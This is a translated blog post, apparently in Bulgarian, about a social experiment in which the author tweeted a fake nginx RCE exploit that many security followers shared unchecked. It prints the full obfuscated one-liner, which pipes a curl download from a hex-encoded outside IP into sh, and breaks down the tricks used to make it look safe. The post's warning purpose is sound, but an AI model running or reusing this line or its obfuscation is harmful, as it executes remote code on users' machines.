Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx

Π—Π°Π±Π΅Π»Π΅ΠΆΠΊΠ°. ΠΏΡ€Π΅Π²ΠΎΠ΄: Автор ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»Π½Π° Π±Π΅Π»Π΅ΠΆΠΊΠ°, ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½Π° Π½Π° 1 юни, Ρ€Π΅ΡˆΠΈ Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ СкспСримСнт срСд Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ сС интСрСсуват ΠΎΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° сигурност. Π—Π° Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈ Ρ‚ΠΎΠ²Π°, Ρ‚ΠΎΠΉ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²ΠΈ Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° Π½Π΅Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚Π° уязвимост Π² ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° ΠΈ Π³ΠΎ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π° Π² своя Twitter. НСговитС прСдполоТСния – Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΌΠΈΠ³Π½ΠΎΠ²Π΅Π½ΠΎ Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚ΠΈ ΠΎΡ‚ спСциалисти, ΠΊΠΎΠΈΡ‚ΠΎ Π±ΠΈΡ…Π° Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Π°Ρ‚Π° ΠΈΠ·ΠΌΠ°ΠΌΠ° Π² ΠΊΠΎΠ΄Π° – Π½Π΅ само Π½Π΅ сС ΡΠ±ΡŠΠ΄Π½Π°Ρ…Π°... Π’Π΅ Π½Π°Π΄ΠΌΠΈΠ½Π°Ρ…Π° всички очаквания, ΠΈ Ρ‚ΠΎ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½Π°Ρ‚Π° посока: Ρ‚ΡƒΠΈΡ‚ΡŠΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈ ΠΎΠ³Ρ€ΠΎΠΌΠ½Π° ΠΏΠΎΠ΄ΠΊΡ€Π΅ΠΏΠ° ΠΎΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ Ρ…ΠΎΡ€Π°, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ ΠΌΡƒ.

Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx

TL;DR: НС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ Π² sh ΠΈΠ»ΠΈ bash ΠΏΡ€ΠΈ Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ обстоятСлства. Π’ΠΎΠ²Π° Π΅ чудСсСн Π½Π°Ρ‡ΠΈΠ½ Π΄Π° Π·Π°Π³ΡƒΠ±ΠΈΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π°Π΄ ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π° си.

Искам Π΄Π° сподСля с вас ΠΊΡ€Π°Ρ‚ΠΊΠ° история Π·Π° ΠΊΠΎΠΌΠΈΡ‡Π΅Π½ PoC Сксплойт, създадСн Π½Π° 31 ΠΌΠ°ΠΉ. Π’ΠΎΠΉ сС появи Π½Π΅Π·Π°Π±Π°Π²Π½ΠΎ Π² ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π½Π° Π½ΠΎΠ²ΠΈΠ½ΠΈ ΠΎΡ‚ Алиса ЕсагС Π¨Π΅Π²Ρ‡Π΅Π½ΠΊΠΎ, Ρ‡Π»Π΅Π½ Π˜Π½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ²Π° Π·Π° Π½ΡƒΠ»Π΅Π² Π΄Π΅Π½ (ZDI), Ρ‡Π΅ скоро Ρ‰Π΅ бъдС Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚Π° информация Π·Π° уязвимост Π² NGINX, Π²ΠΎΠ΄Π΅Ρ‰Π° Π΄ΠΎ RCE (ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнСниС Π½Π° ΠΊΠΎΠ΄). Въй ΠΊΠ°Ρ‚ΠΎ NGINX Π·Π°Ρ…Ρ€Π°Π½Π²Π° ΠΌΠ½ΠΎΠ³ΠΎ уСбсайтовС, Π½ΠΎΠ²ΠΈΠ½Π°Ρ‚Π° трябва Π΄Π° Π΅ Π±ΠΈΠ»Π° Π±ΠΎΠΌΠ±Π°. Но ΠΏΠΎΡ€Π°Π΄ΠΈ закъснСния Π² процСса Π½Π° β€žΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π½ΠΎ Ρ€Π°Π·ΠΊΡ€ΠΈΠ²Π°Π½Π΅β€œ, подробноститС Π·Π° случилото сС Π½Π΅ бяха извСстни - Ρ‚ΠΎΠ²Π° Π΅ стандартна ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° Π½Π° ZDI.

Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx
Tweet относно Ρ€Π°Π·ΠΊΡ€ΠΈΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° уязвимости Π² NGINX

Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈΠΊΠ»ΡŽΡ‡ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚Π° ΠΏΠΎ Π½ΠΎΠ²Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π·Π° обфускация Π² curl, Ρ†ΠΈΡ‚ΠΈΡ€Π°Ρ… оригиналния Ρ‚ΡƒΠΈΡ‚ ΠΈ β€žΠΈΠ·Ρ‚Π΅ΠΊΠΎΡ… Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ PoCβ€œ, ΡΡŠΡΡ‚ΠΎΡΡ‰ сС ΠΎΡ‚ Π΅Π΄ΠΈΠ½ Ρ€Π΅Π΄ ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡ‚ΠΎ ΡƒΠΆ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π°Ρ‚Π° уязвимост. Π Π°Π·Π±ΠΈΡ€Π° сС, Ρ‚ΠΎΠ²Π° бяха пълни глупости. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ…, Ρ‡Π΅ Π²Π΅Π΄Π½Π°Π³Π° Ρ‰Π΅ бъда ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ ΠΈ Ρ‡Π΅ Π² Π½Π°ΠΉ-добрия случай Ρ‰Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π° няколко Ρ€Π΅Ρ‚ΡƒΠΈΡ‚Π° (ΠΎ, Π΄ΠΎΠ±Ρ€Π΅).

Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx
Tweet с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт

НС ΠΌΠΎΠΆΠ΅Ρ… ΠΎΠ±Π°Ρ‡Π΅ Π΄Π° си прСдставя ΠΊΠ°ΠΊΠ²ΠΎ сС случи слСд Ρ‚ΠΎΠ²Π°. ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚Ρ‚Π° Π½Π° моя Ρ‚ΡƒΠΈΡ‚ скочи Π΄ΠΎ Π½Π΅Π±Π΅Ρ‚ΠΎ. Π˜Π·Π½Π΅Π½Π°Π΄Π²Π°Ρ‰ΠΎ, Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° (15:00 московско Π²Ρ€Π΅ΠΌΠ΅, 1 юни) ΠΌΠ°Π»ΠΊΠΎ Ρ…ΠΎΡ€Π° са Ρ€Π°Π·Π±Ρ€Π°Π»ΠΈ, Ρ‡Π΅ Ρ‚ΠΎΠ²Π° Π΅ Ρ„Π°Π»ΡˆΠΈΡ„ΠΈΠΊΠ°Ρ‚. Много Ρ…ΠΎΡ€Π° Π³ΠΎ Ρ€Π΅Ρ‚ΡƒΠΈΡ‚Π²Π°Ρ‚, Π±Π΅Π· ΠΈΠ·ΠΎΠ±Ρ‰ΠΎ Π΄Π° Π³ΠΎ провСряват (Π΄Π° Π½Π΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π·Π° Π²ΡŠΠ·Ρ…ΠΈΡ‰Π΅Π½ΠΈΠ΅ Π½Π° прСкрасната ASCII Π³Ρ€Π°Ρ„ΠΈΠΊΠ°, която ΠΈΠ·Π²Π΅ΠΆΠ΄Π°).

Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx
Π’ΠΈΠΆΡ‚Π΅ само ΠΊΠΎΠ»ΠΊΠΎ Π΅ красиво!

Π’ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‡Π΅ всички Ρ‚Π΅Π·ΠΈ Ρ†ΠΈΠΊΠ»ΠΈ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ²Π΅ са страхотни, ясно Π΅, Ρ‡Π΅ Ρ…ΠΎΡ€Π°Ρ‚Π° трябва Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΡ‚ ΠΊΠΎΠ΄ Π½Π° своята машина, Π·Π° Π΄Π° Π³ΠΈ видят. Π—Π° щастиС Π±Ρ€Π°ΡƒΠ·ΡŠΡ€ΠΈΡ‚Π΅ работят ΠΏΠΎ ΡΡŠΡ‰ΠΈΡ Π½Π°Ρ‡ΠΈΠ½ ΠΈ ΡΡŠΡ‡Π΅Ρ‚Π°Π½ΠΎ с Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ Π²ΡΡŠΡ‰Π½ΠΎΡΡ‚ Π½Π΅ исках Π΄Π° ΠΈΠΌΠ°ΠΌ ΠΏΡ€Π°Π²Π½ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈ, ΠΊΠΎΠ΄ΡŠΡ‚, Π·Π°Ρ€ΠΎΠ²Π΅Π½ Π² моя сайт, просто ΠΏΡ€Π°Π²Π΅ΡˆΠ΅ Π΅Ρ…ΠΎ повиквания, Π±Π΅Π· Π΄Π° сС ΠΎΠΏΠΈΡ‚Π²Π° Π΄Π° инсталира ΠΈΠ»ΠΈ изпълни Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π΅Π½ ΠΊΠΎΠ΄.

Малко ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΈΠ΅: netspooky, DNZ, Π°Π· ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ‚Π΅ ΠΌΠΎΠΌΡ‡Π΅Ρ‚Π° ΠΎΡ‚ Π΅ΠΊΠΈΠΏΠ° Thugcrowd ΠžΡ‚ извСстно Π²Ρ€Π΅ΠΌΠ΅ си ΠΈΠ³Ρ€Π°Π΅ΠΌ с Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π½Π°Ρ‡ΠΈΠ½ΠΈ Π·Π° обфускация Π½Π° curl ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, Π·Π°Ρ‰ΠΎΡ‚ΠΎ Π΅ Π³ΠΎΡ‚ΠΈΠ½ΠΎ... ΠΈ смС ΠΌΠ°Π½ΠΈΠ°Ρ†ΠΈ. netspooky ΠΈ dnz ΠΎΡ‚ΠΊΡ€ΠΈΡ…Π° няколко Π½ΠΎΠ²ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΈ сС сториха ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΎΠ±Π΅Ρ‰Π°Π²Π°Ρ‰ΠΈ. ΠŸΡ€ΠΈΡΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ… сС към Π·Π°Π±Π°Π²Π»Π΅Π½ΠΈΠ΅Ρ‚ΠΎ ΠΈ сС ΠΎΠΏΠΈΡ‚Π°Ρ… Π΄Π° добавя IP дСсСтични прСобразувания към ΠΏΠ°ΠΊΠ΅Ρ‚Π° с Ρ‚Ρ€ΠΈΠΊΠΎΠ²Π΅. Оказва сС, Ρ‡Π΅ IP ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€Π° ΠΈ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Π΅ΡΠ΅Ρ‚ΠΈΡ‡Π΅Π½ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚. ОсвСн Ρ‚ΠΎΠ²Π°, curl ΠΈ ΠΏΠΎΠ²Π΅Ρ‡Π΅Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈ NIX инструмСнти с удоволствиС ядат ΡˆΠ΅ΡΡ‚Π½Π°Π΄Π΅ΡΠ΅Ρ‚ΠΈΡ‡Π½ΠΈ IP адрСси! Π’Π°ΠΊΠ° Ρ‡Π΅ бСшС просто Π²ΡŠΠΏΡ€ΠΎΡ Π½Π° създаванС Π½Π° ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅Π»Π΅Π½ ΠΈ сигурСн ΠΊΠΎΠΌΠ°Π½Π΄Π΅Π½ Ρ€Π΅Π΄. Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка сС спрях Π½Π° Ρ‚ΠΎΠ²Π°:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Π‘ΠΎΡ†ΠΈΠ°Π»Π½ΠΎ-Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΠΎΡ‚ΠΎ инТСнСрство (SEE) Π΅ Π½Π΅Ρ‰ΠΎ ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ Ρ„ΠΈΡˆΠΈΠ½Π³

БСзопасността ΠΈ ΠΏΠΎΠ·Π½Π°Π²Π°Π½Π΅Ρ‚ΠΎ бяха основна част ΠΎΡ‚ Ρ‚ΠΎΠ·ΠΈ СкспСримСнт. Мисля, Ρ‡Π΅ Ρ‚Π΅ Π΄ΠΎΠ²Π΅Π΄ΠΎΡ…Π° Π΄ΠΎ нСговия успСх. ΠšΠΎΠΌΠ°Π½Π΄Π½ΠΈΡΡ‚ Ρ€Π΅Π΄ ясно ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π° сигурност, ΠΊΠ°Ρ‚ΠΎ сС ΠΏΠΎΠ·ΠΎΠ²Π°Π²Π° Π½Π° "127.0.0.1" (Π΄ΠΎΠ±Ρ€Π΅ познатия localhost). Localhost сС счита Π·Π° Π·Π°Ρ‰ΠΈΡ‚Π΅Π½ ΠΈ Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π² Π½Π΅Π³ΠΎ Π½ΠΈΠΊΠΎΠ³Π° Π½Π΅ напускат вашия ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€.

ΠŸΠΎΠ·Π½Π°Π²Π°Π½Π΅Ρ‚ΠΎ бСшС вторият ΠΊΠ»ΡŽΡ‡ΠΎΠ² SEE ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Π½Π° СкспСримСнта. Въй ΠΊΠ°Ρ‚ΠΎ Ρ†Π΅Π»Π΅Π²Π°Ρ‚Π° аудитория сС ΡΡŠΡΡ‚ΠΎΠ΅ΡˆΠ΅ основно ΠΎΡ‚ Ρ…ΠΎΡ€Π°, Π·Π°ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈ с основитС Π½Π° ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π½Π°Ρ‚Π° сигурност, бСшС Π²Π°ΠΆΠ½ΠΎ Π΄Π° сС създадС ΠΊΠΎΠ΄, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ части ΠΎΡ‚ Π½Π΅Π³ΠΎ Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π°Ρ‚ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈ ΠΈ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈ (ΠΈ слСдоватСлно бСзопасни). Π—Π°Π΅ΠΌΠ°Π½Π΅Ρ‚ΠΎ Π½Π° Π΅Π»Π΅ΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ стари Сксплойт ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ ΠΈΠΌ ΠΏΠΎ Π½Π΅ΠΎΠ±ΠΈΡ‡Π°Π΅Π½ Π½Π°Ρ‡ΠΈΠ½ сС ΠΎΠΊΠ°Π·Π° ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.

По-Π΄ΠΎΠ»Ρƒ Π΅ Π΄Π°Π΄Π΅Π½ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π΅Π½ Π°Π½Π°Π»ΠΈΠ· Π½Π° СднорСдовия. Всичко Π² Ρ‚ΠΎΠ·ΠΈ списък носи ΠΊΠΎΠ·ΠΌΠ΅Ρ‚ΠΈΡ‡Π΅Π½ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€, ΠΈ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Π½Π΅ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½ΠΈΡ‰ΠΎ Π·Π° Ρ€Π΅Π°Π»Π½Π°Ρ‚Π° ΠΌΡƒ Ρ€Π°Π±ΠΎΡ‚Π°.

Какви ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈ са наистина Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈ? Π’ΠΎΠ²Π° -gsS, -O 0x0238f06a, |sh ΠΈ самия ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€. Π£Π΅Π± ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ Π½Π΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ инструкции, Π° просто сСрвира ASCII Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ echo Π² скрипта, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ сС Π² index.html. ΠšΠΎΠ³Π°Ρ‚ΠΎ потрСбитСлят въвСдС Ρ€Π΅Π΄ с |sh ΠΏΠΎ срСдата, index.html Π·Π°Ρ€Π΅Π΄Π΅Π½ΠΈ ΠΈ изпълнСни. Π—Π° щастиС, ΠΏΠΎΠΏΠ΅Ρ‡ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅ Π½Π° ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π΅ са ΠΈΠΌΠ°Π»ΠΈ лоши намСрСния.

  • ../../../%00 β€” прСдставлява ΠΈΠ·Π»ΠΈΠ·Π°Π½Π΅ извън указатСля;
  • ngx_stream_module.so β€” ΠΏΡŠΡ‚ Π΄ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ NGINX ΠΌΠΎΠ΄ΡƒΠ»;
  • /bin/sh%00<'protocol:TCP' - ΡƒΠΆ стартирамС /bin/sh Π½Π° Ρ†Π΅Π»Π΅Π²Π°Ρ‚Π° машина ΠΈ прСнасочСтС ΠΈΠ·Ρ…ΠΎΠ΄Π° към TCP ΠΊΠ°Π½Π°Π»Π°;
  • -O 0x0238f06a#PLToffset - Ρ‚Π°ΠΉΠ½Π° ΡΡŠΡΡ‚Π°Π²ΠΊΠ°, допълнСна #PLToffset, Π·Π° Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΊΠ°Ρ‚ΠΎ измСстванС Π½Π° ΠΏΠ°ΠΌΠ΅Ρ‚Ρ‚Π°, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ΠΎ сС ΠΏΠΎ някакъв Π½Π°Ρ‡ΠΈΠ½ Π² PLT;
  • |sh; - Π΄Ρ€ΡƒΠ³ Π²Π°ΠΆΠ΅Π½ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚. Π’Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° прСнасочим ΠΈΠ·Ρ…ΠΎΠ΄Π° към sh/bash, Π·Π° Π΄Π° изпълним ΠΊΠΎΠ΄Π°, ΠΈΠ΄Π²Π°Ρ‰ ΠΎΡ‚ атакуващия ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€, Ρ€Π°Π·ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Π½Π° 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - ΠΌΠ°Π½Π΅ΠΊΠ΅Π½, Π² ΠΊΠΎΠΉΡ‚ΠΎ сС отнася netcat /dev/tcp/localhostΡ‚Π°ΠΊΠ° Ρ‡Π΅ всичко ΠΎΡ‚Π½ΠΎΠ²ΠΎ Π΄Π° ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° бСзопасно. Π’ΡΡŠΡ‰Π½ΠΎΡΡ‚ Π½Π΅ ΠΏΡ€Π°Π²ΠΈ Π½ΠΈΡ‰ΠΎ ΠΈ Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² линията Π·Π° красота.

Π’ΠΎΠ²Π° Π·Π°Π²ΡŠΡ€ΡˆΠ²Π° Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ Π½Π° СднорСдовия скрипт ΠΈ ΠΎΠ±ΡΡŠΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ Π½Π° аспСктитС Π½Π° β€žΡΠΎΡ†ΠΈΠ°Π»Π½ΠΎ-Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΠΎΡ‚ΠΎ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΡΡ‚Π²ΠΎβ€œ (слоТСн Ρ„ΠΈΡˆΠΈΠ½Π³).

ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π΅ Π½Π° ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ ΠΈ ΠΌΠ΅Ρ€ΠΊΠΈ Π·Π° противодСйствиС

Въй ΠΊΠ°Ρ‚ΠΎ ΠΏΠΎ-голямата част ΠΎΡ‚ ΠΌΠΎΠΈΡ‚Π΅ Π°Π±ΠΎΠ½Π°Ρ‚ΠΈ са инфосСктори/Ρ…Π°ΠΊΠ΅Ρ€ΠΈ, Ρ€Π΅ΡˆΠΈΡ… Π΄Π° направя ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€Π° ΠΌΠ°Π»ΠΊΠΎ ΠΏΠΎ-устойчив Π½Π° ΠΈΠ·Ρ€Π°Π· Π½Π° β€žΠΈΠ½Ρ‚Π΅Ρ€Π΅Ρβ€œ ΠΎΡ‚ тяхна страна, само Π·Π° Π΄Π° ΠΌΠΎΠ³Π°Ρ‚ ΠΌΠΎΠΌΡ‡Π΅Ρ‚Π°Ρ‚Π° Π΄Π° ΠΈΠΌΠ°Ρ‚ ΠΊΠ°ΠΊΠ²ΠΎ Π΄Π° правят (ΠΈ Ρ‰Π΅ бъдС Π·Π°Π±Π°Π²Π½ΠΎ Π΄Π° настройвам). Няма Π΄Π° изброявам всички ΠΊΠ»ΠΎΠΏΠΊΠΈ Ρ‚ΡƒΠΊ, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π΅ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΡŠΡ‚ всС ΠΎΡ‰Π΅ ΠΏΡ€ΠΎΠ΄ΡŠΠ»ΠΆΠ°Π²Π°, Π½ΠΎ Π΅Ρ‚ΠΎ няколко Π½Π΅Ρ‰Π°, ΠΊΠΎΠΈΡ‚ΠΎ ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ ΠΏΡ€Π°Π²ΠΈ:

  • Активно слСди ΠΎΠΏΠΈΡ‚ΠΈΡ‚Π΅ Π·Π° разпространСниС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ социални ΠΌΡ€Π΅ΠΆΠΈ ΠΈ замСства Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΌΠΈΠ½ΠΈΠ°Ρ‚ΡŽΡ€ΠΈ Π·Π° ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π΅Π½ ΠΏΡ€Π΅Π³Π»Π΅Π΄, Π·Π° Π΄Π° Π½Π°ΡΡŠΡ€Ρ‡ΠΈ потрСбитСля Π΄Π° ΠΊΠ»ΠΈΠΊΠ½Π΅ Π²ΡŠΡ€Ρ…Ρƒ Π²Ρ€ΡŠΠ·ΠΊΠ°Ρ‚Π°.
  • ΠŸΡ€Π΅Π½Π°ΡΠΎΡ‡Π²Π° Chrome/Mozilla/Safari/ΠΈ Ρ‚.Π½. към промоционалния Π²ΠΈΠ΄Π΅ΠΎΠΊΠ»ΠΈΠΏ Π½Π° Thugcrowd, вмСсто Π΄Π° ΠΏΠΎΠΊΠ°Π·Π²Π° скрипта Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°Ρ‚Π°.
  • Π‘Π»Π΅Π΄ΠΈ Π·Π° ΠžΠ§Π•Π’Π˜Π”ΠΠ˜ ΠΏΡ€ΠΈΠ·Π½Π°Ρ†ΠΈ Π½Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅/явно Ρ…Π°ΠΊΠ²Π°Π½Π΅ ΠΈ слСд Ρ‚ΠΎΠ²Π° Π·Π°ΠΏΠΎΡ‡Π²Π° Π΄Π° прСнасочва заявки към ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° NSA (Ρ…Π°!).
  • Π˜Π½ΡΡ‚Π°Π»ΠΈΡ€Π° троянски ΠΊΠΎΠ½, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ Ρ€ΡƒΡ‚ΠΊΠΈΡ‚ Π·Π° BIOS Π½Π° всички ΠΊΠΎΠΌΠΏΡŽΡ‚Ρ€ΠΈ, Ρ‡ΠΈΠΈΡ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ посСщават хоста ΠΎΡ‚ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ Π±Ρ€Π°ΡƒΠ·ΡŠΡ€ (ΡˆΠ΅Π³ΡƒΠ²Π°ΠΌ сС!).

Π£ΡΠΏΠ΅Ρ…ΡŠΡ‚ Π½Π° социалСн СкспСримСнт с Ρ„Π°Π»ΡˆΠΈΠ² Сксплойт Π·Π° nginx
Малка част ΠΎΡ‚ Π°Π½Ρ‚ΠΈΠΌΠ΅Ρ€ΠΈΡ‚Π΅

Π’ Ρ‚ΠΎΠ·ΠΈ случай СдинствСната ΠΌΠΈ Ρ†Π΅Π» бСшС Π΄Π° овладСя някои ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΡ‚Π΅ Π½Π° Apache - ΠΏΠΎ-спСциално Π³ΠΎΡ‚ΠΈΠ½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π·Π° прСнасочванС Π½Π° заявки - ΠΈ си помислих: Π·Π°Ρ‰ΠΎ Π½Π΅?

NGINX Сксплойт (Ρ€Π΅Π°Π»Π½ΠΎ!)

